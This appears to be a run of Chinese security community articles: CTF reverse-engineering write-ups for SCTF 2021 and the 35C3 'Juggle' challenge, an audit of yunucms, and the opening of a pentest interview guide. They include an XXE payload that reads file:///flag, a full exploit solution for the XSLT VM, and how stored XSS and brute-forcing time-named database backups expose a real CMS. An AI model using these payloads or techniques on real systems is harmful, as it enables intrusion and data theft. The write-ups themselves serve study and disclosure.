d_2ec8 = d_2ec8 * 0x41c64e6d + 0x3039;
//printf("d_2ec8 = 0x%llx\n", d_2ec8);
return (uint8_t)((d_2ec8 << 0x21) >> 0x31);
}
void encrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0, i; /* set up */
uint32_t delta = 0x9e3779b9; /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 16; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
} /* end cycle */
v[0] = v0; v[1] = v1;
}
//解密函数
void encrypt1(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum =0, i; /* set up */
uint32_t delta = 0x9e3779b9; /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 8; i++) { /* basic cycle start */
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum += delta;
} /* end cycle */
v[0] = v0; v[1] = v1;
}
void exchange(int index) {
uint8_t tmp[0x100];
for (int i = 0; i < 0x100; ++i)
{
tmp[i] = d_2ed8[0x100 * index + i];
d_2ed8[0x100 * index + i] = d_2ed0[0x100 * (0xf-index) + i];
d_2ed0[0x100 * (0xf - index) + i] = tmp[i];
}
}
void bigexchange() {
uint8_t tmp[0x80 * 0x20];
for (int i = 0; i < 0x80 * 0x20; ++i) {
tmp[i] = d_2ed8[i];
d_2ed8[i] = d_2ed0[i];
d_2ed0[i] = tmp[i];
}
}
int main() {
unsigned char input[0x41] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
int var3 = 0x80;
int var1 = 0;
int var5 = 0;
for (int i = 0; i < 0x20; i++) {
d_2ec8 = input[i] + i;
for (int j = 0; j < 0x80; ++j) {
uint8_t tmp = fakerandom();
d_2ed8[0x80 * i + j] = tmp;
}
}
for (int i = 0; i < 0x20; ++i) {
d_2ec8 = input[0x20 + i] + i;
for (int j = 0; j < 0x80; ++j) {
uint8_t tmp = fakerandom();
d_2ed0[0x80 * i + j] = tmp;
}
}
for(int index = 0 ; index < 0x10 ; ++index){
for (int i = 0; i < 0x1000; i += 8) {
uint32_t v[2];
uint32_t key[4] = { 0x11222233 ,0xAABBCCDD, 0x1a2b3c4d,0xcc1122aa };
v[0] = *(uint32_t*)(d_2ed8 + i);
v[1] = *(uint32_t*)(d_2ed8 + 4 + i);
encrypt(v, key);
// printf("v0 == %lx v1== %lx",v[0],v[1]);
*(uint32_t*)(d_2ed8 + i) = v[0];
*(uint32_t*)(d_2ed8 + 4 + i) = v[1];
}
for (int i = 0; i < 0x1000; i += 8) {
uint32_t v[2];
uint32_t key[4] = { 0x11222233 ,0xAABBCCDD, 0x1a2b3c4d,0xcc1122aa };
v[0] = *(uint32_t*)(d_2ed0 + i);
v[1] = *(uint32_t*)(d_2ed0 + 4 + i);
encrypt1(v, key);
// printf("v0 == %lx v1== %lx",v[0],v[1]);
*(uint32_t*)(d_2ed0 + i) = v[0];
*(uint32_t*)(d_2ed0 + 4 + i) = v[1];
}
exchange(index);
bigexchange();
}
printf("d_2ed8 = ");
for (int i = 0; i < 16; ++i)
printf("%x ",d_2ed8[i]);
printf("\n");
for (int i = 0; i < 16; ++i)
printf("%x ", d_2ed8[0xf*0x100 +i]);
printf("\n d_2ed0= ");
for (int i = 0; i < 16; ++i)
printf("%x ", d_2ed0[i]);
printf("\n");
for (int i = 0; i < 16; ++i)
printf("%x ", d_2ed0[0xf * 0x100 + i]);
}
比较的数在1ec8 ec8 ghidra 打开sctf看一下就行 前面的代码是它的加密流程
### godness dance
逆向发现，程序输入一个长度 28 的字符串，如果符合条件，就会包裹到 `SCTF{}` 内然后输出。因此这个字符串就是 flag 的核心部分。
首先，程序会做第一部分的检查，根据逻辑，统计每个字符出现的次数，然后跟一个预置的列表进行比较，如果发现不相等，就打印 “count
wrong”。因此通过这里可以得到每个字符出现的次数列表。
实际情况是，只允许小写字母，而且大部分出现次数都是 1，少量字母可以出现 2 次。
到这一步，我们可以判断出 flag 是 `abcdefghiijklmnopqrstuuvwxyz` 的某个排列。
接下来，有一个函数把 flag 传进去，然后做了一系列操作算出来一个数组，最后跟一个预置的全局数组进行对比，只有完全相等才能通过。因此主要是逆向这个函数。
这个函数中间有一大坨代码是让人不太想看的，但是好在一眼看过去，只有一些 shuffle 相关和统计相关的部分，没有特别复杂的逻辑出现。此外，观察到最终的
check 数组是从 0-28 的一个排列，因此猜测只是在表达每个字符的对应位置。
通过 gdb 尝试来输入几个测试例子，尝试换一换字母的顺序更加印证了这一点。
于是尝试写一段代码来恢复:
charset = b'abcdefghiijklmnopqrstuuvwxyz'
seq = [0x2, 0x1A, 0x11, 0x1C, 0x18, 0x0B, 0x15, 0x0A, 0x10, 0x14, 0x13, 0x12, 0x3, 0x8, 0x6, 0x0C, 0x9, 0x0E, 0x0D, 0x16, 0x4, 0x1B, 0x0F, 0x17, 0x1, 0x19, 0x7, 0x5]
flag = [None] * 29
for i, e in enumerate(seq):
flag[e] = charset[i]
print(bytes(flag[1:]))
$ ./dance.out
Input:waltznymphforquickjigsvexbud
Good for you!
flag:SCTF{waltznymphforquickjigsvexbud}
### **CplusExceptionEncrypt**
描述：cpp is a good language
使用ssh穿起来的逻辑，可以这样将他处理
计算 0x402c37-0x402730=0x507
然后把throw改成 jmp 0x572
jmp 0x502
就行了
可能还要简单根据结构体确认一下跳转
分析了一下大部分的操作都用seh框起来，目测是xxtea
魔改的tea+稍微正常的aes（也魔改了）
tea部分
void encrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], v2=v[2], v3=v[3];
uint32_t sum1=0,sum2=0, i; /* set up */
uint32_t delta=0x73637466; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i < 32; i++) { /* basic cycle start */
sum1 += delta;
sum2 += delta;
v0 += ((v1<<4) + k2) ^ (sum1 + v1) ^ ((v1>>5) + k3) ^ (sum1 + i);
v2 += ((v3<<4) + k2) ^ (sum2 + v3) ^ ((v3>>5) + k3) ^ (sum2 + i);
v1 += ((v0<<4) + k0) ^ (sum1 + v0) ^ ((v0>>5) + k1) ^ (sum1 + i);
v3 += ((v2<<4) + k0) ^ (sum2 + v2) ^ ((v2>>5) + k1) ^ (sum2 + i);
// v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
} /* end cycle */
v[0]=v0 ^ ((delta>>24)&0xff); v[1]=v1^ ((delta>>16)&0xff);
v[2]=v2^ ((delta>>8)&0xff); v[3]=v3 ^ ((delta)&0xff);
}
//解密函数
void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], v2=v[2], v3=v[3];
uint32_t sum1=0x6c6e8cc0,sum2=0x6c6e8cc0;
int i; /* set up */
uint32_t delta=0x73637466; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
v0=v0 ^ ((delta>>24)&0xff); v1=v1^ ((delta>>16)&0xff);
v2=v2^ ((delta>>8)&0xff); v3=v3 ^ ((delta)&0xff);
for (i=31; i>=0; i--) { /* basic cycle start */
v3 -= ((v2<<4) + k0) ^ (sum2 + v2) ^ ((v2>>5) + k1) ^ (sum2 + i);
v1 -= ((v0<<4) + k0) ^ (sum1 + v0) ^ ((v0>>5) + k1) ^ (sum1 + i);
v2 -= ((v3<<4) + k2) ^ (sum2 + v3) ^ ((v3>>5) + k3) ^ (sum2 + i);
v0 -= ((v1<<4) + k2) ^ (sum1 + v1) ^ ((v1>>5) + k3) ^ (sum1 + i);
sum1 -= delta;
sum2 -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
v[2]=v2; v[3]=v3;
}
AES魔改部分
oid __cdecl enc_next(uint8_t *roundkeys, uint8_t *plaintext, uint8_t *ciphertext)
{
_DWORD *v3; // rax
_DWORD *v4; // rax
struct type_info *v5; // rdx
void *v6; // rbx
uint8_t *v7; // rax
uint8_t *v8; // rax
void *v9; // rbx
void *v10; // rax
uint8_t *v11; // rax
std::__cxx11::string temp_2; // [rsp+20h] [rbp-60h] BYREF
uint8_t tmp[16]; // [rsp+40h] [rbp-40h] BYREF
char v14; // [rsp+5Eh] [rbp-22h] BYREF
uint8_t t; // [rsp+5Fh] [rbp-21h]
double temp_1; // [rsp+60h] [rbp-20h]
int temp_0; // [rsp+6Ch] [rbp-14h]
char temp; // [rsp+73h] [rbp-Dh]
int a; // [rsp+74h] [rbp-Ch]
int cnt; // [rsp+78h] [rbp-8h]
uint8_t j; // [rsp+7Eh] [rbp-2h]
uint8_t i; // [rsp+7Fh] [rbp-1h]
v3 = _cxa_allocate_exception(4ui64);
*v3 = 1;
if ( refptr__ZTIi != (struct type_info *const)1 )
Unwind_Resume(v3);
a = *(_DWORD *)_cxa_begin_catch(v3);
for ( i = 0; i <= 0xFu; ++i )
{
v8 = roundkeys++;
ciphertext[i] = *v8 ^ plaintext[i] ^ 0x66; // 多了一个^0x66
}
_cxa_end_catch();
// 后面逻辑大致整理
static void CipherSCTF(state_t* state, const uint8_t* RoundKey)
{
uint8_t round = 0;
// Add the First round key to the state before starting the rounds.
AddRoundKeyDec(0, state, RoundKey); // ciphertext[i] = *v8 ^ plaintext[i] ^ 0x66; // 多了一个^0x66
// There will be Nr rounds.
// The first Nr-1 rounds are identical.
// These Nr rounds are executed in the loop below.
// Last one without InvMixColumn()
for (round = 1; ; ++round)
{
InvShiftRows(state);
InvSubBytes(state);
MixColumns(state);
AddRoundKey(round, state, RoundKey);
if (round == Nr) {
SubBytes(state);
ShiftRows(state);
AddRoundKey(round, state, RoundKey);
break;
}
}
}
加密流程：
– 输入32个字符
* TEA处理前16个
* AES处理前16个
* TEA处理后16个
* AES处理后16个
* 比较
根据上述描述写出解密即可
## more
本次2021 SCTF 我们 SU 取得了2nd 的成绩，感谢队里师傅们的辛苦付出！同时我们也在持续招人，只要你拥有一颗热爱 CTF
的心，都可以加入我们！欢迎发送个人简介至：[email protected]或直接联系书鱼(QQ:381382770) | 社区文章 |
## 前言
Juggle是35C3
CTF中的一道中等难度的逆向题目。虽然由于多个非预期解的存在（也可能是作者故意为之），使得最后题目的动态分数只有90分，但题目整体的考察点比较全面，包括XSLT、VM逆向、二分查找算法、汇编代码编写和调试等。预期的解法也比较有意思，对于逆向基本功的练习十分有帮助。
这里我将自己的解法和几种非预期解整理了一下，供大家参考。
## 初识XSLT
题目给出了一个`XSLT`文件和一个`Dockerfile`，`Dockerfile`用来配置`XSLT`环境，主要逻辑都在`XSLT`文件中。
`XSLT`是一种语言，用来处理`XML`格式的数据，将其转换为其他格式，例如`HTML`等。更多详细信息可以参考[w3school](http://www.w3school.com.cn/xsl/index.asp)。
题目给出的docker中使用了`xalan`对`XSLT`进行解释。本地测试时也可以使用`Visual
Studio`（部分版本）进行调试，可以设置断点和观察变量等，十分方便。
## 非预期解1 —— XXE
首先打开`XSLT`文件，大致浏览一下，可以找到读取flag的位置：
<xsl:when test="count($c/दाल) = 1">
<xsl:if test="count($chef-drinks) = 0">
<xsl:copy-of select="document('/flag')"/>
</xsl:if>
<xsl:call-template name="consume-meal"> <!-- 递归调用consume-meal函数 -->
<xsl:with-param name="chef-drinks" select="$chef-drinks"/>
<xsl:with-param name="food-eaten" select="$food-eaten + 1"/>
<xsl:with-param name="course" select="$r"/>
<xsl:with-param name="drinks" select="$drinks"/>
</xsl:call-template>
</xsl:when>
可以看到当满足`count($c/दाल) = 1`和`count($chef-drinks) =
0`两个条件时，flag的内容就会被读取到转换后的文件并输出给我们。
这里便存在第一个非预期解——XXE，即XML外部实体注入。这里引用一下[OpenToAll的wp](https://github.com/Auxy233/Writeups/blob/master/2018/2018-12-27-35C3-CTF.md#juggle)：
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]><foo>&xxe;</foo>
即可成功读取到flag。网上有关XXE的资料很多，这里不过多介绍。
## 梳理程序逻辑
我们继续来看读flag的条件，其中的`$c`可以在前面找到：
<xsl:template name="consume-meal"> <!-- 函数consume-meal定义 -->
<xsl:param name="chef-drinks"/> <!-- 函数参数1 -->
<xsl:param name="food-eaten"/> <!-- 函数参数2 -->
<xsl:param name="course"/> <!-- 函数参数3 -->
<xsl:param name="drinks"/> <!-- 函数参数4 -->
<xsl:if test="$food-eaten > 30000">
<xsl:message terminate="yes">You ate too much and died</xsl:message>
</xsl:if>
<xsl:if test="count($drinks) > 200">
<xsl:message terminate="yes">You cannot drink that much</xsl:message>
</xsl:if>
<xsl:if test="count($course) > 0">
<xsl:variable name="c" select="$course[1]" /> <!-- 取course第一个元素 -->
<xsl:variable name="r" select="$course[position()>1]" /> <!-- 剩余元素，递归处理 -->
<xsl:choose> <!-- 对取出的c元素的类型进行判断，进行不同处理 -->
<xsl:when test="count($c/宫保鸡丁) = 1">
...
</xsl:when>
<xsl:when test="count($c/paella) = 1">
...
</xsl:when>
...
</xsl:choose>
</xsl:if>
</xsl:template>
这里的`xsl:template`可以理解为函数，即定义了一个名为`consume-meal`的函数，其中的几个`xsl:param`为函数参数。
之前的`c`变量为`course[1]`，即`course`数组中第一个元素(XSLT中数组下标从1开始)。而`course`数组剩下的元素被放到了`r`变量中。
在每个`xsl:when`分支判断中，通过`count($c/...)`是否为1判断了`c`的元素类型，并进行不同的处理，最后将`r`作为course参数，递归调用了`consume-meal`函数。
所以整个`consume-meal`相当于对`course`数组中的每个元素依次进行了一个很大的case分支判断。
那么这些case分支到底在干什么呢？我们可以再观察一下其他几个变量：
* `food-eaten`在每次递归调用会加一，到30000后会报错退出，相当于限制了输入参数`courses`的长度。
* `drinks`参数比较复杂，在许多分支中都会进行修改和判断，其中比较明显的有几个加减乘除的操作，与基于栈的四则运算很像。
* `chef-drinks`只有在`Борщ`分支中会进行修改，在`ラーメン`分支中会与`drinks`进行比较，最终在`दाल`分支中判断为空便可以读取flag。
首先看`Борщ`分支：
<xsl:when test="count($c/Борщ) = 1">
<xsl:variable name="arg0">
<value>
<xsl:value-of select="$drinks[1] + 0"/>
</value>
</xsl:variable>
<xsl:call-template name="consume-meal">
<xsl:with-param name="chef-drinks" select="$chef-drinks[position() > 1 or $chef-drinks[1] != $arg0]"/>
<xsl:with-param name="food-eaten" select="$food-eaten + 1"/>
<xsl:with-param name="course" select="$r"/>
<xsl:with-param name="drinks" select="$drinks[position() > 1]"/>
</xsl:call-template>
</xsl:when>
可以看出，当`drinks[1] != chef-drinks[1]`时，传入下一步的`chef-drinks`值为`$chef-drinks[position() > 1 or 1]`，即原来的`chef-drinks`会被完整传入。
而`drinks[1] == chef-drinks[1]`时，传入的是`$chef-drinks[position() > 1 or
0]`，即删掉了`chef-drinks`的第一个元素。
所以`Борщ`分支判断了`drinks[1]`与`chef-drinks[1]`是否相等，相等则删掉`chef-drinks[1]`。
其实从这里我们就可以看出一点端倪了。读取flag的条件是`count($chef-drinks) =
0`，而这里又有一个类似于猜数的功能，猜对所有`chef-drinks`的值就可以将其删光，以满足flag读取的条件。
然后我们来看`ラーメン`分支：
<xsl:when test="count($c/ラーメン) = 1">
<xsl:variable name="arg0">
<value>
<xsl:value-of select="$drinks[1] + 0"/>
</value>
</xsl:variable>
<xsl:variable name="chefvalue">
<value>
<xsl:value-of select="$chef-drinks[1] + 0"/>
</value>
</xsl:variable>
<xsl:variable name="newdrinks">
<value>
<xsl:value-of select="1 * ($arg0 > $chefvalue)"/>
</value>
<xsl:copy-of select="$drinks[position() > 1]"/>
</xsl:variable>
<xsl:call-template name="consume-meal">
<xsl:with-param name="chef-drinks" select="$chef-drinks"/>
<xsl:with-param name="food-eaten" select="$food-eaten + 1"/>
<xsl:with-param name="course" select="$r"/>
<xsl:with-param name="drinks" select="exsl:node-set($newdrinks)//value"/>
</xsl:call-template>
</xsl:when>
可以看出，这里会将`drinks[1] > chef-drinks[1]`的结果与原来的`drinks`拼在一起，作为新的`drinks`参数。
到这里就基本一目了然了，这其实就相当于汇编语言中的`cmp drinks[1], chef-drinks[1]`指令，将比较的结果放到了`drinks`的第一位，所以这个大的分支判断其实就是一个 **基于栈的VM的解释器** 。
其中分支中判断的菜名其实就是指令名，`drinks`就是栈，栈的初始值使我们可以控制的，我们需要通过VM中提供的指令猜出`chef-drinks`中所有的值，就可以成功拿到flag。
通过分析代码，我们可以把所有指令的作用还原：
* 宫保鸡丁
* 打印出drinks和chef-drinks的值，相当于打log
* paella
* push(const)
* 불고기
* push(drinks[pop(drinks) + 2] )
* Борщ
* if drinks[1] == chef-drinks[1], pop(chef-drinks)
* दाल
* if chef-drinks.len == 0, print_flag
* ラーメン
* push(pop(drinks) > chef-drinks[1] )
* stroopwafels
* push(pop(drinks) < pop(drinks) )
* köttbullar
* insert_val_into_pos(pop(drinks), pop(drinks))
* γύρος
* remove(pop(drinks) + 2)
* rösti
* push(pop(drinks) + pop(drinks) )
* לאַטקעס
* push(pop(drinks) - pop(drinks) )
* poutine
* push(pop(drinks) + pop(drinks) )
* حُمُّص
* push(pop(drinks) + pop(drinks) )
* æblegrød
* if pop(drinks), goto block[pop(drinks) + 1]
注意`course`相当于`block`，通过`æblegrød`指令可以进行分支跳转，跳转到不同的block。
## 非预期解2——预测随机数
现在题目的目标已经明确了，我们再回头看一下函数调用的初始值：
<xsl:template match="/meal">
<all>
<xsl:if test="count(//plate) > 300">
<xsl:message terminate="yes">You do not have enough money to buy that much food</xsl:message>
</xsl:if>
<xsl:variable name="chef-drinks">
<value>
<xsl:value-of select="round(math:random() * 4294967296)"/>
</value>
<value>
<xsl:value-of select="round(math:random() * 4294967296)"/>
</value>
<value>
<xsl:value-of select="round(math:random() * 4294967296)"/>
</value>
<value>
<xsl:value-of select="round(math:random() * 4294967296)"/>
</value>
<value>
<xsl:value-of select="round(math:random() * 4294967296)"/>
</value>
</xsl:variable>
<xsl:call-template name="consume-meal">
<xsl:with-param name="chef-drinks" select="exsl:node-set($chef-drinks)//value"/>
<xsl:with-param name="food-eaten" select="1"/>
<xsl:with-param name="course" select="course[position() = 1]/plate"/>
<xsl:with-param name="drinks" select="state/drinks"/>
</xsl:call-template>
</all>
</xsl:template>
可以看到`chef-drinks`中共有5个值，均由`math:random()`生成。这里便产生了第二个非预期解—— **预测随机数** 。
[通过研究`xalan`对于`random`函数的实现](https://ctftime.org/writeup/12780)，或者直接连续运行两次程序比较随机数都可以发现，生成随机数的种子其实就是当前的时间。而且实际上`xalan`就是使用的c中标准的rand()函数生成随机数。
所以这里就有两种做法，一种是直接调用c中的srand(time(NULL))和rand()。另一种是使用VM中的log指令得到当前时间生成的随机数，然后马上用得到的这些数生成`XSLT`来猜数，只要时间还没变（同一秒），就可以预测成功。
两种方法的实现可以参考这两份WP：
<https://ctftime.org/writeup/12780>
<https://teamrocketist.github.io/2018/12/30/Reverse-35C3-juggle/>
## 预期解——二分查找
基于之前的分析，在VM中，我们不能直接获取`chief-drinks`或对齐进行运算，只能将其与一个值进行比较得到大小关系。到这里，标准解法就已经很明显了，那就是使用二分查找（VM中猜数返回结果只有大于和小于等于，需要稍加修改）：
public int guessNumber(int n) {
int left = 1;
int right = n;
int mid = 0;
while(left<=right){
mid = left + (right-left)/2;
if(guess(mid)==0) return mid;
else if(guess(mid)==1) left = mid+1;
else if(guess(mid)==-1) right = mid-1;
}
return mid;
}
所以我们剩下的工作，就是把二分查找的代码翻译成题目VM对应的代码。这部分其实是题目最麻烦的一步，但是难度并不大，需要我们写汇编代码和进行debug。
当然也可以考虑使用一些基于栈的语言（例如python）编译后再转换过去。这里我是自己从头写的，大家也可以尝试不同的做法。
下面是我的最终实现代码，其中有注释代码对应的功能，这里我就不再详述代码细节。注意调试时可以多使用log指令（宫保鸡丁），对于debug非常有帮助。另外`Visual
Studio`调试时会发生栈溢出，可以直接用`xalan`跑。
最终解：
<?xml version="1.0" encoding="UTF-8"?>
<meal>
<course>
<!-- stack [st, ed, 0, MAX] -->
<!-- push s[0] (t = st) -->
<plate>
<दाल></दाल>
</plate>
<plate>
<宫保鸡丁></宫保鸡丁>
</plate>
<plate>
<paella>0</paella>
</plate>
<plate>
<불고기></불고기>
</plate>
<!-- s[0] += 2 (t += 2)-->
<plate>
<paella>2</paella>
</plate>
<plate>
<rösti></rösti>
</plate>
<!-- push s[2] (t2 = ed)-->
<plate>
<paella>2</paella>
</plate>
<plate>
<불고기></불고기>
</plate>
<!-- push s[1] < s[2] (cmp t2, t)-->
<plate>
<stroopwafels></stroopwafels>
</plate>
<!-- if s[1], jmp course2 (jl course2) -->
<plate>
<paella>1</paella>
</plate>
<plate>
<paella>2</paella>
</plate>
<plate>
<köttbullar></köttbullar>
</plate>
<plate>
<æblegrød></æblegrød>
</plate>
<!-- push 2 (pos = 2) -->
<plate>
<paella>1</paella>
</plate>
<!-- push 2 (t = 2) -->
<plate>
<paella>2</paella>
</plate>
<!-- push s[3] (t2 = ed) -->
<plate>
<paella>3</paella>
</plate>
<plate>
<불고기></불고기>
</plate>
<!-- push s[3] (t3 = st) -->
<plate>
<paella>3</paella>
</plate>
<plate>
<불고기></불고기>
</plate>
<!-- push s[1] + s[2] (t2 += t3)-->
<plate>
<rösti></rösti>
</plate>
<!-- push s[1] / s[2] (t2 /= t)-->
<plate>
<حُمُّص></حُمُّص>
</plate>
<!-- push s[0] (mid = t2) -->
<plate>
<paella>0</paella>
</plate>
<plate>
<불고기></불고기>
</plate>
<!-- push s[1] > cd[1] (cmp t2, cd[1] )-->
<plate>
<ラーメン></ラーメン>
</plate>
<!-- if s[1], jmp course1 (jg course1) , mid > cd[1] -->
<plate>
<paella>1</paella>
</plate>
<plate>
<paella>1</paella>
</plate>
<plate>
<köttbullar></köttbullar>
</plate>
<plate>
<æblegrød></æblegrød>
</plate>
<!-- mid <= cd[1], s = [pos, mid, st, ed, 0, MAX] -->
<!-- insert(pos, mid) -->
<plate>
<köttbullar></köttbullar>
</plate>
<!-- push 0 (pos = 0)-->
<plate>
<paella>0</paella>
</plate>
<!-- remove(pos+1) -->
<plate>
<γύρος></γύρος>
</plate>
<!-- jmp course0 -->
<plate>
<paella>0</paella>
</plate>
<plate>
<paella>1</paella>
</plate>
<plate>
<æblegrød></æblegrød>
</plate>
</course>
<course>
<!-- mid > cd[1], s = [pos, mid, st, ed, 0, MAX] -->
<!-- insert(pos, mid) -->
<plate>
<köttbullar></köttbullar>
</plate>
<!-- push 2 (pos = 2)-->
<plate>
<paella>2</paella>
</plate>
<!-- remove(pos+1) -->
<plate>
<γύρος></γύρος>
</plate>
<!-- jmp course0 -->
<plate>
<paella>0</paella>
</plate>
<plate>
<paella>1</paella>
</plate>
<plate>
<æblegrød></æblegrød>
</plate>
</course>
<course>
<!-- st = cd[1], stack [st, ed, 0, MAX] -->
<!-- pop(cd[1] ) -->
<plate>
<Борщ></Борщ>
</plate>
<!-- remove(1) -->
<plate>
<paella>0</paella>
</plate>
<plate>
<γύρος></γύρος>
</plate>
<!-- push s[0] (ed = MAX) -->
<plate>
<paella>1</paella>
</plate>
<plate>
<불고기></불고기>
</plate>
<!-- push s[0] (st = 0) -->
<plate>
<paella>1</paella>
</plate>
<plate>
<불고기></불고기>
</plate>
<!-- jmp course0 -->
<plate>
<paella>0</paella>
</plate>
<plate>
<paella>1</paella>
</plate>
<plate>
<æblegrød></æblegrød>
</plate>
</course>
<state>
<!-- stack init -->
<drinks>
<value>0</value>
</drinks>
<drinks>
<value>4294967296</value>
</drinks>
<drinks>
<value>0</value>
</drinks>
<drinks>
<value>4294967296</value>
</drinks>
</state>
</meal>
也可以参考CTFTIME上其他两个类似解法的WP：
<https://tcode2k16.github.io/blog/posts/2018/35c3ctf-writeup/#juggle>
<https://ctftime.org/writeup/12803> | 社区文章 |
最近在审计yunucms，审计了几个后台漏洞，有XSS和文件泄露几个。
## yunucms介绍
云优CMS是一款基于TP5.0框架为核心开发的一套免费+开源的城市分站内容管理系统。云优CMS前身为远航CMS。云优CMS于2017年9月上线全新版本，二级域名分站，内容分站独立，七牛云存储，自定义字段，自定义表单，自定义栏目权限，自定义管理权限等众多功能深受用户青睐。
## 建站
从[官网](www.yunucms.com/Buy/program.html)下载源码并进行过安装
需要注意的是需要填云账号，我去官网注册了一个随便填上了，账号testqwe，密码123456，手机号利用的在线短信注册的
填上MySQL密码即可
前台界面
## 漏洞复现
### XSS
#### 漏洞测试
后台TAG管理模块
进行添加TAG
在名称处填入XSS代码并提交
返回模块即可看到效果
查看源码，发现已经插入
查看数据库
#### 代码审计
http://127.0.0.1/index.php?s=/admin/tagurl/addtagurl
该cms路由为`目录/文件/方法`，直接查看方法
public function addTagurl()
{
if(request()->isAjax()){ # 判断是否是ajax请求
$param = input('post.'); # 获取参数
$tagurl = new TagurlModel();
$flag = $tagurl->insertTagurl($param); # 将结果进行保存并返回响应
return json(['code' => $flag['code'], 'data' => $flag['data'], 'msg' => $flag['msg']]);
}
return $this->fetch();
}
跟进insertTagurl方法
public function insertTagurl($param)
{
try{
$result = $this->allowField(true)->save($param); # 保存当前数据对象
if(false === $result){
return ['code' => -1, 'data' => '', 'msg' => $this->getError()];
}else{
return ['code' => 1, 'data' => '', 'msg' => '添加TAG成功'];
}
}catch( PDOException $e){
return ['code' => -2, 'data' => '', 'msg' => $e->getMessage()];
}
}
继续跟进save方法
if (!empty($data)) {
// 数据自动验证
if (!$this->validateData($data)) { # 验证集为空，直接返回true
return false;
}
// 数据对象赋值
foreach ($data as $key => $value) {
$this->setAttr($key, $value, $data); # 将参数赋值给$this->data数组
}
if (!empty($where)) {
$this->isUpdate = true;
}
}
......
$result = $this->getQuery()->insert($this->data);
......
``
validateData方法需要验证集，而本身没有传入
protected function validateData($data, $rule = null, $batch = null)
{
$info = is_null($rule) ? $this->validate : $rule;
if (!empty($info)) {
......
}
return true;
}
且`$this->validate`参数为空，因此直接返回true
跟进insert方法
.....
// 生成SQL语句
$sql = $this->builder->insert($data, $options, $replace);
$bind = $this->getBind();
if ($options['fetch_sql']) {
// 获取实际执行的SQL语句
return $this->connection->getRealSql($sql, $bind);
}
// 执行操作
$result = $this->execute($sql, $bind);
fetch_sql变量为false，跟进execute方法
......
if ($procedure) { # false
$this->bindParam($bind);
} else {
$this->bindValue($bind);
}
......
最后跟进参数绑定方法
protected function bindValue(array $bind = [])
{
foreach ($bind as $key => $val) {
// 占位符
$param = is_numeric($key) ? $key + 1 : ':' . $key;
if (is_array($val)) {
if (PDO::PARAM_INT == $val[1] && '' === $val[0]) {
$val[0] = 0;
}
$result = $this->PDOStatement->bindValue($param, $val[0], $val[1]);
} else {
$result = $this->PDOStatement->bindValue($param, $val);
}
if (!$result) {
throw new BindParamException(
"Error occurred when binding parameters '{$param}'",
$this->config,
$this->getLastsql(),
$bind
);
}
}
}
可以看到最后是调用PDO对象对参数进行的绑定，除此之外并没有任何过滤，因此XSS代码可插入并执行
### 数据库泄露
#### 漏洞测试
在后台系统管理->数据库管理模块将所有数据库备份
查看本地文件，所有备份保存在data目录下，发现名命是以时间命名，可以直接爆破得到
从前台访问并下载
下载完成后打开，泄露所有数据库信息
#### 代码审计
POST /index.php?s=/admin/data/export HTTP/1.1
public function export($ids = null, $id = null, $start = null) {
$Request = Request::instance();
if ($Request->isPost() && !empty($ids) && is_array($ids)) { //初始化
$path = config('data_backup_path');
is_dir($path) || mkdir($path, 755, true);
//读取备份配置
$config = [
'path' => realpath($path) . DIRECTORY_SEPARATOR,
'part' => config('data_backup_part_size'),
'compress' => config('data_backup_compress'),
'level' => config('data_backup_compress_level'),
];
//检查是否有正在执行的任务
$lock = "{$config['path']}backup.lock";
if (is_file($lock)) {
return $this->error('检测到有一个备份任务正在执行，请稍后再试，或手动删除"'.$lock.'"后重试！');
}
file_put_contents($lock, $Request->time()); //创建锁文件
//检查备份目录是否可写
is_writeable($config['path']) || $this->error('备份目录不存在或不可写，请检查后重试！');
session('backup_config', $config);
//生成备份文件信息
$file = [
'name' => date('Ymd-His', $Request->time()),
'part' => 1,
];
session('backup_file', $file);
//缓存要备份的表
session('backup_tables', $ids);
//创建备份文件
$Database = new \com\Database($file, $config);
if (false !== $Database->create()) {
$tab = ['id' => 0, 'start' => 0];
return $this->success('初始化成功！', '', ['tables' => $ids, 'tab' => $tab]);
} else {
return $this->error('初始化失败，备份文件创建失败！');
}
}
......
可以看到，备份文件的命名用的time方法，跟进
public function time($float = false)
{
return $float ? $_SERVER['REQUEST_TIME_FLOAT'] : $_SERVER['REQUEST_TIME'];
}
可以看到利用REQUEST_TIME进行构造文件名，因此可以直接爆破得到并下载。
#### 结束语
后台漏洞现在不太受待见，总觉得后台都进不去所以后台漏洞用处不大，不过后台漏洞更多的是利用组合拳。先拿到后台权限或者直接越权，拿下主机也是迟早的事。后台漏洞同样不可小觑。
文中如果有什么错误的地方还请各位师傅指教。 | 社区文章 |
### 00x00 摘要
笔者作为网络安全的初识者，从求职者的角度总结了一点点关于渗透测试工程师求职面试的要点给即将毕业的大学生（实习生和应届生）予以参考，以便能更好更快地找到一份自己满意的工作。
